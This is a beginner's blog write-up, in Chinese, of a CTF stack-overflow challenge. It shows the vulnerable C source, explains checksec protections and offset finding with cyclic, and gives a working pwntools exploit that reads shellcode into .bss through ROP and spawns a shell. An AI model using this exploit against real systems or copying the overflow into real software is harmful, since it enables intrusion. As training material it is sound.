1. 程式人生 > >記第一個動手跟的ctf pwn程式

記第一個動手跟的ctf pwn程式

我是跟著教程 https://www.bilibili.com/video/av14824239?from=search&seid=14623454945684351685 來做的

是最基礎的shellcode的題目

程式地址:http://pan.baidu.com/s/1qYFjBlU 密碼:j32w

拿到程式,我們先file static分析一下程式:

關注點為 32位ELF,動態連結

接著我們要用checksec來檢測elf運行於哪個平臺,開啟了什麼安全措施,如果用gcc的編譯後,預設會開啟所有的安全措施。

我們輸入checksec static來看程式開啟了哪些保護措施

這裡簡單介紹一下各欄位的含義:

Arch:只檔案執行的平臺為:32位的i386,小端位元組序列

RELRO:RELRO會有Partial RELRO和FULL RELRO,如果開啟FULL RELRO,意味著我們無法修改got表

Stack:如果棧中開啟Canary found,那麼就不能用直接用溢位的方法覆蓋棧中返回地址,而且要通過改寫指標與區域性變數、leak canary、overwrite canary的方法來繞過

NX: (No-eXecute) 不可執行的意思,NX(DEP)的基本原理是將資料所在記憶體頁標識為不可執行,當程式溢位成功轉入shellcode時,程式會嘗試在資料頁面上執行指令,此時CPU就會丟擲異常,而不是去執行惡意指令。
若為:NX enabled 這個保護就會開啟,意味著棧中資料沒有執行許可權,以前的經常用的call esp或者jmp esp的方法就不能使用,但是可以利用rop這種方法繞過

PIE: (Postion-Indenpendent executable)地址無關可執行檔案,對應windows上ASLR機制,一般情況下NX(Windows平臺上稱其為DEP)和地址空間分佈隨機化(ASLR)會同時工作。ASLR和DEP配合使用,能有效阻止攻擊者在堆疊上執行惡意程式碼。
若為:PIE enabled,則程式開啟了這個地址隨機化選項,就意味著程式每次執行的時候地址都會變化,而現在是沒有開PIE的,那麼No PIE (0x8048000),括號內的資料就是程式的基地址

RXW:即我們平常對檔案的三個許可權 read execute write,這裡指有可讀可寫可執行的段。

這個程式就比較簡單了,NX和PIE都沒有開啟,我們就可以利用傳統的思路把shellcode通過read寫到棧中,導致棧溢位覆蓋返回地址,並且要實現正好shellcode被存放在返回地址的位置,這樣就會實現程式執行我們構造的惡意程式碼(

這裡可能有你想要了解的一些有關shellcode的知識

我們的static.c程式碼如下:

#include <stdio.h>
#include <unistd.h>

void init(){
    setvbuf(stdout, NULL, _IOLBF, 0);
}

void welcome(){
    write(1, "Welcome to zsctf!\n", 21);
}

void vuln(){
    char buffer[8] = {0};
    read(0, buffer, 0x40);
}

int main(){
    init();
    welcome();
    vuln();
    return 0;
}

讓我們先來看一下程式執行起來是什麼樣的,但是,當我們在執行的時候,發現,明明有這個檔案,卻顯示找不到檔案。

原因就在於:並不是檔案不存在,而是bash不識別該執行檔案

file一下執行檔案發現是32位的,而我的虛擬機器則是64位的,那麼問題的癥結就出現在這裡了,Ubuntu 14.04 好像把32位支援庫取消了,需要使用者自己安裝,安裝命令如下:

sudo apt-get install lib32z1**

即可執行程式了

我們通過看static.c程式碼發現可以通過read函式將shellcode寫到棧中,導致棧溢位覆蓋返回地址。那這裡我們要將shellcode讀到哪裡去呢?由於我們已進知道在函式呼叫時棧的變化,(不清楚參考這裡)我們就知道要將其讀到程式的.bss段中(因為.bss段中存放的是程式中未初始化的全
局變數和靜態變數)

因此我們需要解決兩個問題:1。bss段的地址 2。要覆蓋的返回地址的地址

1⃣️我們的bss段地址可以在IDA中得到

2⃣️我們接著來確定這個程式它的返回地址是多少。

我們先用cyclic生成100個字元,將其複製下來:

然後在gdb中(裝有peda外掛),我們執行gdb ./static
讓其start 執行,然後輸入continue,之後,將我們生成的字元輸進去,會發現緩衝區溢位報錯。此時,就是因為我們輸入的資料的長度大於緩衝區的長度,導致棧溢位將函式返回地址覆蓋。我們可以看到:

這邊報錯的就是無效的IP地址,也就是我們要找到的eip
我們通過cyclic -l 0x61616166命令

可以發現當偏移為20的時候,存的就是它的返回地址了

這時我們就可以來構建我們自己的exp

from pwn import *

import time

bss_addr = 0x804A024
proc = './static'
context.binary = proc

shellcode = asm(shellcraft.sh())
p = process(proc)

p.recvuntil("Welcome to zsctf!");

rop = ROP(proc)

rop.read(0,bss_addr + 0x100,len(shellcode))
rop.call(bss_addr + 0x100)

p.send('a'*20 + str(rop))

time.sleep(1)

p.send(shellcode)

p.interactive()

其實在整個實驗中還是有盲點的,比如pwn庫的使用和shellcode的編寫。

http://yunnigu.dropsec.xyz/2016/10/08/checksec及其包含的保護機制/#checksec及其包含的保護機制 (這是一篇關於linux下棧保護機制很好的文章)

參考的文章和部落格:
https://paper.seebug.org/481/ (介紹PWN的知識點特別詳細,大力推薦)
http://tacxingxing.com/2017/07/16/nx-aslr/
https://pwntools.readthedocs.io/en/stable/ (pwntools官方文件)
http://yugod.xmutsec.com/index.php/2018/05/07/37.html